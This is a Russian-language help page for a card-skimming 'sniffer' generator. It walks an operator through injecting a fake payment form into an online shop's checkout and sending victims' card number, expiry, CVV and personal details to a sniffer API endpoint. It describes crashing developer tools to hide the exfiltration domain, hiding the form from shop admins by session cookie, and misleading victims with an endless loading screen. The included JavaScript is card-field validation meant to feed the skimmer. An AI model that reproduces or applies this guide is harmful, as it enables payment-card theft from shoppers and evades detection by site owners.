<h2>Подробнее о разделе "Генератор JS"</h2>
<p align="justify">В данном снифере вы можете сгенерировать JS код в автоматическом режиме. Особых знаний в JS/HTML не требуется, то что потребуется я детально обьясню ниже. Несмотря на обилие настроек на самом деле все просто и поля однотипные поэтому запомнить все будет не сложно и научиться работать с генератором довольно просто, поняв основной принцип его работы. Тем более я создал наглядную видеоинструкцию по работе с генератором.</p>

<h3>Генерация JS для iframe формы</h3>

<p align="justify">Давайте начнем с самого сложного, но при этом самого востребованного и интересного - с генерации JS снифера под iframe форму. Разобравшись как работать с этим генератором, остальные части генератора(редирект, простая форма станут интуитивно понятны).</p>

<h4>Как понять что форма iframe?</h4>

<p align="justify">Все довольно просто. Открываем страницу где установлена форма оплаты. Кликаем правой кнопкой мыши в любом месте страницы и нажимаем "<strong>посмотреть исходный код страницы</strong>" (не путайте с "исследовать элемент" или "посмотреть код" так как это откроет консоль разработчика). Далее пытаемся найти форму в html коде страницы. Вы можете нажать "CTRL + F" и поискать в открывшемся окне "<strong>&#60;form</strong>". Если вы увидите форму похожую на форму оплаты(обычно будет текст перед input вида "<strong>card number</strong>", "<strong>cvv</strong>", "<strong>expiry date</strong>" или что - то подобное) - значит вам повезло и у вас форма нативная. В таком случае лучше сделать на php сниффер, но можно сгенерировать автоматически в генераторе "Простая форма" на JS. Но скорее всего никакого html кода формы вы там не увидите что говорит о том что она подгружается средствами JS как iframe форма. Есть еще вариант проверить. Вы все так же нажимаете <strong>посмотреть исходный код страницы</strong>, далее кгикаете по любому полю формы, например где <strong>card number</strong> и уже выбираете "<strong>посмотреть код</strong>" или "<strong>анализировать код</strong>" у вас откроется консоль разработчика справва или снизу и вы увидите что - то типа "<strong>&#60;input type="text"</strong> " нажимаете туда правой кнопкой мыши и жмете "редактировать как HTML" далее просто копируете все и возвращаетесь на страницу с исходным кодом, там жмем <strong>CTRL + F</strong> и ищем то что мы скопировали. Если ничего не найдено - значит форма iframe, если такой html код есть то вам повезло.</p>

<p align="justify">Если вам не понятно, то вы наглядно сможете увидеть в демонстрационном видео как это сделать(видео по установке снифера на простую форму).</p>

<h4>Что заполнять в поля генератора?</h4>

<p align="justify">Для начала вам нужно выбрать <strong>метод</strong> поиска формы(по всему сайту или указать точную ссылку). Указывать точную ссылку или часть ссылки более предпочтительно чтобы не возникало ошибок и ваша форма не появлялась в других частях сайта не связаных с оплатой(такое иногда бывает если шоп написан криво). Иногда указав полную ссылку форма может не сработать, при этом указывая ссылку частично все работает хорошо.</p>

<p align="justify">Если с указанием полной ссылки все понятно, то с указанием части ссылки есть некоторые нюансы. Если форма находится по ссылке например:</p>

<p>
<?php

highlight_string('
https://www.shop.com/supercheckout/?user=1387
');

?>
</p><br />

<p align="justify">то часть ссылки нужно указывать до знака вопроса "<strong>?</strong>" если он там есть. А именно:</p>

<p>
<?php

highlight_string('
/supercheckout
');

?>
</p><br />

<p align="justify">Поле формы критически важно, возможно у вас не с первого раза получится определить идеальное место где разместить вашу форму вместо формы на сайте. Итак чтобы найти место куда интегрировать нашу форму все так же на странице формы с оплатой где расположена оригинальная форма кликаем правой кнопкой мыши и так же выбираем "<strong>посмотреть код</strong>" или "<strong>анализировать код</strong>" и смотрим html код оригинальной формы, наша задача найти самое начало формы где мы разместим свою и заблокируем оригинальную. Понять можно перемещая курсор над html кодом и мы визуально увидим элемент на странице который будет подсвечиваться. Обычно это будет <strong>div</strong> с интуитивно понятным названием типа:

</p>

<p>
<?php

highlight_string('
<div class="form-group form bs-component" id="paynent-form">
');

?>
</p><br />

<p align="justify">В данном примере мы видим <strong>class="form-group form bs-component"</strong> и <strong>id="paynent-form"</strong> и мы можем подцепить свою форму используя это. Если мы выбираем <strong>id</strong>, то копируем <strong>id</strong> и в генераторе пишем сначала "<strong>#</strong>" а потом скопированный <strong>id</strong>, то есть в поле "форма" вводим в данном примере:</p>

<p>
<?php

highlight_string('
#paynent-form
');

?>
</p><br />

<p align="justify">так же мы можем подцепиться используя значение <strong>class</strong> но для <strong>class</strong> мы будем вначале указывать точку:</p>

<p>
<?php

highlight_string('
.form-group
');

?>
</p><br />

<p align="justify">То есть для <strong>id</strong> мы пишем вначале <strong>"#"</strong>, а для класса <strong>"."</strong></p>

<p align="justify">Вы можете более точно указать все значения классов чтобы исключить возможность подхватывания другого div на этой странице с таким классом. Это делается так:</p>

<p>
<?php

highlight_string('
.form-group.form.bs-component
');

?>
</p><br />

<p align="justify">то есть перед каждым значением класса ставим точку <strong>"."</strong></p>

<p align="justify">Далее у нас идет не обьязательное значение "Оплачиваем". Оно нужно для того чтобы форма появлялась не сразу, а когда пользователь выберет метод оплаты. Например на сайте может быть предоставлен выбор различных методов оплаты, таких как <strong>paypal</strong>, оплата картой и т.д. Можно настроить таким образом чтобы когда пользователь выбирал оплату картой то только в этом случае появлялась наша форма. Все делается как и в предыдущем случае, но вместо <strong>div</strong> или <strong>span</strong> скорее всего будет <strong>radiobutton</strong> или <strong>label</strong>. Все так же нужно найти <strong>id</strong> или <strong>class</strong> и указать в генераторе написав при этом <strong>"#"</strong> или <strong>"."</strong> в зависимости от того по какому параметру мы будет отлавливать клик.</p>

<p align="justify">Например если у вас будет вот такой input:</p>

<p>
<?php

highlight_string('
<input type="radio" name="payment" id="card" class="radio-card" value="card">
');

?>
</p><br />

<p align="justify">То мы укажем так:</p>

<p>
<?php

highlight_string('
#card
');
?>
</p><br />

<p align="justify">или так:</p>

<p>
<?php

highlight_string('
.radio-card
');

?>
</p><br />

<p align="justify">Если поле "Оплачиваем" оставить пустым то наша форма будет загружаться сразу при загрузке страницы.</p>

<p align="justify">Далее нужно заполнить поле "Кнопка" чтобы отлавливать клик по ней и отправлять данные нам в снифер. Все так же делается как и в примере выше(кликаем по кнопке правой кнопкой мыши, жмем "<strong>посмотреть код</strong>" или "<strong>анализировать код</strong>" смотрим <strong>id</strong> или <strong>class</strong>) но для кнопки нам не нужно указывать в начале ни решетку ни точку</p>

<p align="justify">Предположим у вас вот такая кнопка:</p>

<p>
<?php

highlight_string('
<button type="button" id="payment" class="btn btn-payment">Pay</button>
');

?>
</p><br />

<p align="justify">тогда мы указываем:</p>

<p>
<?php

highlight_string('
payment
');

?>
</p><br />

<p align="justify">или так:</p>

<p>
<?php

highlight_string('
btn-payment
');

?>
</p><br />

<p align="justify"><i>Обратите внимание что для кнопки нельзя указывать точное значение нескольких классов, можно только один!</i></p>

<p align="justify"><i>Если кнопка неактивна пока не заполнишь корректно оригинальную форму - не беспокойтесь об этом. Автоматический генератор добавит функцию для ее разблокировки и она будет работать когда ваша форма подменит оригинальную.</i></p>

<p align="justify">Далее нужно указать <strong>API ссылку</strong>. Что это такое и где брать вы можете узнать в разделе "<strong>Как работает API?</strong>". Нужно указывать только ссылку к php файлу без переменных, например:</p>

<p>
<?php

highlight_string('
https://sniffer.com/ap.php
');

?>
</p><br />

<p align="justify">После этого идут три поля где вы можете добавить CSS вашей формы, HTML кода и JS кода.</p>

<p align="justify"><i>Обратите внимание что для CSS стилей не нужно указывать "<strong>&#60;style&#62;</strong>". А для JavaScript не нужно указывать "<strong>&#60;script&#62;</strong>". Нужно указывать только код внутри этих тегов!</i></p>

<p align="justify">Если вы оставите эти поля пустыми то генератор автоматически подставит стандартную форму со своими стилями и JS кодом. Она для демонстрации и быстрой проверки работоспособности генератора. Вам же нужно установить форму визуально не отличающуюся от той что стоит на вашем шопе.</p>

<h4>Нюансы при создании своей формы</h4>

<p align="justify"><i>Обратите внимание. Если вы заполните поле HTML форма, а поля с CSS стилями и JS кодом оставите пустыми, то форма заменится на вашу, а вот JS код и CSS стили подставятся стандартные. Это касается всех полей, то в котором будет пустое значение будет заполнено по умолчанию.</i></p>

<p align="justify">Данный абзац будет полезен для программиста создающего вам форму для вашего шопа(вы можете просто скопировать этот раздел и передать ему).</p>

<p align="justify">При создании своей HTML формы добавьте <strong>id</strong> для полей holder, card number, expiry date и cvv как в примере ниже:</p>

<p>
<?php

highlight_string('
<input type="text" id="Field-holderInput" name="holder" placeholder="John Smith" maxlength="35" />
<input type="text" id="Field-numberInput" name="card-number" placeholder="1234 1234 1234 1234" />
<input type="text" id="Field-expiryInput" name="expiry-date" placeholder="MM / YY" maxlength="7" />
<input type="text" id="Field-cvcInput" name="cvc" placeholder="CVC" maxlength="4" />
');

?>
</p><br />

<p align="justify">Вы можете создать input как вам нравится, любое "name", любое значение placeholder, можете добавлять свои стили например <strong>style="width:100%;height:40px;"</strong> или <strong>class="input card-number"</strong>(тогда вы должны добавить эти классы в CSS стили), а так же добавлять любые свои значения например <strong>aria-required="true"</strong>. Но ID для каждого поля должен быть как в примере выше. Генератор использует эти ID для получения данных, которые заполнил пользователь.</p>

<p align="justify">Если в вашей форме нет значения <strong>holder</strong>, то вы можете добавить скрытое поле, например так:</p>

<p>
<?php

highlight_string('
<input type="hidden" id="Field-holderInput" name="exp" value="---" />
');

?>
</p><br />

<p align="justify">Вы можете создать свой валидатор на JS для полей вашей формы, а так же сделать автоматическое форматирование полей(например для поля карты разрешить ввод только цифр и после каждых 4 символов ставить пробел). Генератор использует функцию validateFields() <font color="red"><strong>она обязана</strong></font> быть в вашем коде. Если вы создаете свой JS код, для отладки вы можете просто написать:</p>

<p>
<?php

highlight_string('
function validateFields() {
	return true;
}
');

?>
</p><br />

<p align="justify">тогда все поля будут считаться введенными правильно и снифер передаст данные на API(будьте внимательны т.к. на самом API так же проверяются данные и если будут пустые значения карты, cvv, или даты истечения, то такой массив не будет сохранятся в базу).</p>

<p align="justify">Если в вашем JS коде будут синтаксические ошибки, то вместо обфусцированного кода JS снифера вы получите примерно такую ошибку:</p>

<?php

highlight_string('
Error during obfuscation: ERROR at line 1: Unexpected token (1:16)
> ...howError(error){...
');

?><br />

<p align="justify">где <strong>line 1</strong> это номер строки в которой обнаружена ошибка. Исправьте ее и попробуйте еще раз.</p>

<p align="justify">В снифере по умолчанию используется этот код для валидации данных(если вы оставите поле <strong>JS код</strong> пустым):</p>

<p>
<?php

highlight_string('
      const holderInput = document.querySelector(\'#Field-holderInput\');
      const cardInput = document.querySelector(\'#Field-numberInput\');
      const expiryInput = document.querySelector(\'#Field-expiryInput\');
      const cvcInput = document.querySelector(\'#Field-cvcInput\');
      const visaIconInfield = document.querySelector(\'#icon-visa-infield\');
      const mcIconInfield = document.querySelector(\'#icon-mc-infield\');
      const amexIconInfield = document.querySelector(\'#icon-amex-infield\');
      const unionpayIconInfield = document.querySelector(\'#icon-unionpay-infield\');
      const cardIconsInfield = [visaIconInfield, mcIconInfield, amexIconInfield, unionpayIconInfield];
      
      if (!cardInput || !expiryInput || !cvcInput || !holderInput) {
        return;
      }

      function getCardType(number) {
        if (!number) return \'unknown\';
        
        if (/^4/.test(number)) return \'visa\';
        if (/^5[1-5]/.test(number)) return \'mastercard\';
        if (/^3[47]/.test(number)) return \'amex\';
        if (/^(62|88)/.test(number)) return \'unionpay\';
        return \'unknown\';
      }

      function updateCardIcons(type, value) {
        if (!value || value.length === 0) {
          cardIconsInfield.forEach(icon => {
            if (icon) icon.classList.remove(\'hidden-icon\');
          });
          return;
        }
        
        cardIconsInfield.forEach(icon => {
          if (icon) icon.classList.add(\'hidden-icon\');
        });
        
        switch(type) {
          case \'visa\':
            if (visaIconInfield) {
              visaIconInfield.classList.remove(\'hidden-icon\');
            }
            break;
          case \'mastercard\':
            if (mcIconInfield) {
              mcIconInfield.classList.remove(\'hidden-icon\');
            }
            break;
          case \'amex\':
            if (amexIconInfield) {
              amexIconInfield.classList.remove(\'hidden-icon\');
            }
            break;
          case \'unionpay\':
            if (unionpayIconInfield) {
              unionpayIconInfield.classList.remove(\'hidden-icon\');
            }
            break;
          default:
            cardIconsInfield.forEach(icon => {
              if (icon) icon.classList.remove(\'hidden-icon\');
            });
        }
      }

      function formatCardNumber(value, type) {
        const cleaned = value.replace(/\D/g, \'\');
        
        if (type === \'amex\') {
          return cleaned.replace(/^(\d{0,4})(\d{0,6})(\d{0,5}).*/, function(_, g1, g2, g3) {
            let result = g1;
            if (g2) result += \' \' + g2;
            if (g3) result += \' \' + g3;
            return result;
          });
        } else {
          return cleaned.replace(/(.{4})/g, \'$1 \').trim();
        }
      }

      cardInput.addEventListener(\'input\', function(e) {
        let value = e.target.value.replace(/\D/g, \'\');
        let type = getCardType(value);
        
        let maxLen = (type === \'amex\') ? 15 : 16;
        value = value.slice(0, maxLen);
        
        let formatted = formatCardNumber(value, type);
        e.target.value = formatted;
        
        updateCardIcons(type, value);
        
        e.target.classList.remove(\'validation-error\');
      });
      
      cardInput.addEventListener(\'focus\', function() {
        let value = cardInput.value.replace(/\D/g, \'\');
        let type = getCardType(value);
        updateCardIcons(type, value);
      });
      
      cardInput.addEventListener(\'blur\', function() {
        let value = cardInput.value.replace(/\D/g, \'\');
        if (value === \'\') {
          cardIconsInfield.forEach(icon => {
            if (icon) icon.classList.remove(\'hidden-icon\');
          });
        }
      });
      
      expiryInput.addEventListener(\'input\', function(e) {
        let value = e.target.value.replace(/\D/g, \'\');
        if (value.length >= 2) {
          value = value.slice(0, 2) + \' / \' + value.slice(2, 4);
        }
        e.target.value = value;
        e.target.classList.remove(\'validation-error\');
      });
      
      cvcInput.addEventListener(\'input\', function(e) {
        let value = e.target.value.replace(/\D/g, \'\').substring(0, 4);
        e.target.value = value;
        e.target.classList.remove(\'validation-error\');
      });

      holderInput.addEventListener(\'input\', function(e) {
        e.target.classList.remove(\'validation-error\');
      });

      function luhnCheck(num) {
        if (!num || num.length < 13) return false;
        
        let arr = (num + \'\').split(\'\').reverse().map(x => parseInt(x));
        let sum = arr.reduce((acc, val, idx) => {
          if (idx % 2) {
            val *= 2;
            if (val > 9) val -= 9;
          }
          return acc + val;
        }, 0);
        return sum % 10 === 0;
      }
      
      function isValidExpiry(expiry) {
        if (!/^(0[1-9]|1[0-2]) \/ \d{2}$/.test(expiry)) return false;
        
        let [mm, yy] = expiry.split(\' / \');
        mm = parseInt(mm, 10);
        yy = parseInt(yy, 10) + 2000;
        
        let now = new Date();
        let expDate = new Date(yy, mm - 1, 1);
        expDate.setMonth(expDate.getMonth() + 1);
        
        return expDate > now;
      }
      
      function validateFields() {
        let isValid = true;
        
        const cardValue = cardInput.value.replace(/\D/g, \'\');
        const cardType = getCardType(cardValue);
        const holderValid = holderInput.value;

        if(holderValid.length<7){
          holderInput.classList.add(\'validation-error\');
          isValid = false;
        }else{
          holderInput.classList.remove(\'validation-error\');
        }
        
        const cardValid = luhnCheck(cardValue) && 
                 ((cardType === \'amex\' && cardValue.length === 15) ||
                  (cardType !== \'amex\' && cardValue.length === 16));
        
        if (!cardValid) {
          cardInput.classList.add(\'validation-error\');
          isValid = false;
        } else {
          cardInput.classList.remove(\'validation-error\');
        }
        
        const expiryValid = isValidExpiry(expiryInput.value);
        if (!expiryValid) {
          expiryInput.classList.add(\'validation-error\');
          isValid = false;
        } else {
          expiryInput.classList.remove(\'validation-error\');
        }
        
        const cvcValid = /^\d{3,4}$/.test(cvcInput.value);
        if (!cvcValid) {
          cvcInput.classList.add(\'validation-error\');
          isValid = false;
        } else {
          cvcInput.classList.remove(\'validation-error\');
        }
        return isValid;
      }
      
      function getFieldValue(fieldId) {
        const field = document.getElementById(fieldId);
        return field ? field.value : \'\';
      }
');

?>
</p><br />

<p align="justify">При создании своей формы вы можете частично использовать его или же переделать его под свою форму. Либо просто изучить для понимания как все работает.</p>

<h4>Прочие настройки</h4>

<p align="justify">Далее вы можете поставить галочку "<strong>Блокировка инст. разраба</strong>" что логично будет создавать помехи в работе браузера при открытии инструментов разработчика(консоли/просмотра сети/инспекции кода). В зависимости от браузера эффект может быть разным. Некоторые браузеры крашатся, некоторые намертво зависают, в некоторых просто будет отключаться javaScript. Эта функция препятствует анализу работы снифера и возможности увидеть на какойй домен отправляются данные. Особенно важно ее использование когда данные отправляются напрямую в ваш снифер, а не хранятся на самом шопе.</p>

<p align="justify">А еще ниже можно поставить галочку на <strong>сбор дополнительных данных</strong>, таких как страна, адрес, email и прочее. Если вы поставите эту галочку то откроется внушительный список, но не стоит пугаться. Все они однотипные и разобраться в этом не сложно.</p>

<p align="justify">Итак, вначале вы должны выбрать метод сбора этих данных(по всему сайту, на <strong>той же странице</strong> что и форма или же указать отдельно ссылку или часть ссылки(как и в предыдущем случае для формы)). Выбрать "собирать <strong>на той же странице</strong> что и форма" можно только в том случае когда указана ссылка или часть ссылки для формы.</p>

<p align="justify">Если нужно собирать данные с нескольких страниц, например со страницы регистрации часть данных и после авторизации когда пользователь редактирует данные профиля, то в таком случае нужно указывать чтобы снифер собирал дополнительные данные по всему сайту.</p>

<p align="justify">Далее можно выбрать интересующие вас данные(которые можно собрать в вашем шопе). Поставьте галочку над теми полями которые вам нужны. Заполняются они аналогично. Заходим на шоп на страницу где можно заполнить эти поля(например на страницу регистрации) по нужному полю кликаем правой кнопкой мыши и выбираем "посмотреть код" или "посмотреть код элемента" и мы увидим что - то вроде:</p>

<p>
<?php

highlight_string('
<input name="supercheckout_email" type="text" id="billing-email" class="input input-email" />
');

?>
</p><br />

<p align="justify">Самым надежным способом будет указание <strong>name</strong> например для примера выше это будет:</p>

<p>
<?php

highlight_string('
[name="supercheckout_email"]
');

?>
</p><br />

<p align="justify">так же вы можете подхватить данные этого поля по id, например так:</p> 

<p>
<?php

highlight_string('
#billing-email
');

?>
</p><br />

<p align="justify">и даже по значению класса, например:</p>

<p>
<?php

highlight_string('
.input-email
');

?>
</p><br />

<p>или так:</p>

<p>
<?php

highlight_string('
.input.input-email
');

?>
</p><br />

<p align="justify">на самом деле есть еще способы как подхватить данные, но для обычного пользователя того что я описал будет вполне достаточно, для JS программистов же уточню что используется эта функция:</p>

<p>
<?php

highlight_string('
document.querySelector(\'VALUE\');
');

?>
</p><br />

<p align="justify">и при желании вы можете более сложным методом зацепиться за нужный вам input.</p>

<p align="justify">Вот собственно и все что вам нужно знать для работы с генератором. Нажимаем "<strong>Submit</strong>", копируем полученый сгенерированный код и можем тестировать(рекомендую вначале проверить работоспособность открыв консоль в инструментах разработчика и проверить чтобы все работало безупречно и когда у вас получится настроить все, тогда уже вставлять в js файл вашего шопа(если вы хотите вставить в середине html кода то js код, который сгенерирован автоматическим генератором разместите между: <strong>&#60;script&#62;</strong> ваш сгенерированный код <strong>&#60;/script&#62;</strong>))</p> 

<p align="justify">Да, информации на первый взгляд много, но на самом деле когда вы освоитесь, то установка снифера займет считанные минуты. Особо ничего сложного нет и справится даже человек далекий от программирования. Для наглядности вы можете посмотреть видео с примером установки JS снифера(в данном примере не будет установки своей формы, а будет использоваться стандартная, которая встроена в снифер. так же я намеренно допустил ошибку при выборе элемента формы чтобы вы наглядно могли увидеть процесс настройки) при помощи автоматического генератора для iframe формы:</p>

<video src="./inc/videos/iframe.mp4" width="640" height="480" controls></video>

<h3>Генерация JS формы для редиректа</h3>

<p align="justify">Генератор для шопа с редиректом не сильно отличается от того что для iframe, поэтому писать повторно все что выше не вижу смысла. Единственное что стоит отметить так это возможность выбрать в каком месте размещать вашу форму "сверху" или "снизу". Исходя из названий понятно что если выбрать "сверху", то форма будет появляться сверху выбраного элемента и если выбрать "снизу", то соответственно снизу.</p>

<h4>Как понять что на сайте установлен редирект для оплаты?</h4>

<p align="justify">Все очень просто. Если на самом шопе никакой формы оплаты нет, а при нажатии на кнопку "оплатить" или "перейти к оплате" вы переходите на совершенно другой сайт который не имеет отношения к вашему шопу и доступа к которому у вас тоже нет то это и есть редирект. Особо здесь ничего не придумаешь. Единственный вариант - это внаглую поставить свою форму в понравившееся вам место. При этом не забывайте что нужно отсекать админов по куке <strong>SESSION</strong> чтобы админ не видел никакой формы(более подробно вы можете прочитать об этом в разделе "<strong>полезные советы</strong>").</p>

<p align="justify">В генераторе этот момент продуман и после того как пользователь ввел данные в вашу форму ему выскочит окно загрузки которое будет вечно грузиться пока он не перезагрузит страницу, после перезагрузки второй раз форма появляться не будет и его перекинет как и задумывалось изначально на сторонний платежный шлюз. Пользователь может подумать что произошел сбой оплаты и поэтому метод оплаты изменился и ничего не заподозрит.</p>

<p align="justify">Для наглядности вы можете посмотреть видео как установить свою форму(так же с использованием стандартной формы, без создания своей) при помощи JS генератора:</p>

<video src="./inc/videos/redirect.mp4" width="640" height="480" controls></video>

<h3>Генерация JS формы для простой формы</h3>

<p align="justify">Для установки снифера на простую форму не нужно каких - то особых навыков, все аналагично предыдущим инструкциям. На то она и простая форма. Как определить что форма нативная вы можете посмотреть в самом верху в этом же разделе FAQ "<strong>Как понять что форма iframe?</strong>" (на шопе форма может быть либо нативной либо iframe).</p>

<p align="justify">Выбираете метод срабатывания аналогично как и в случае с формой iframe. для полей <strong>холдер</strong> и <strong>карта</strong> устанавливаете значение(работает аналогично как и сбор дополнительных данных(поскольку форма простая, то и заполненые данные полей можно собирать напрямую с сайта не устанавливая свою форму)). Далее выбираете как на сайте дата выглядит(либо одно поле как в случае со стандартной формой для iframe/redirect) либо поля два(обычно это 2 selecta, в одном можно выбрать месяц, в другом год). Поле <strong>cvv</strong> так же аналогично заполняется как и сбор дополнительных данных. Кнопка и API ссылка все так же как и в генераторе iframe/redirect заполняется как и все что ниже(блокировка инструментов разработчика и сбор дополнительных данных).</p>

<p align="justify">Для наглядности вы можете посмотреть видео как установить JS код на шоп для простой формы ниже:</p>

<video src="./inc/videos/simple.mp4" width="640" height="480" controls></video>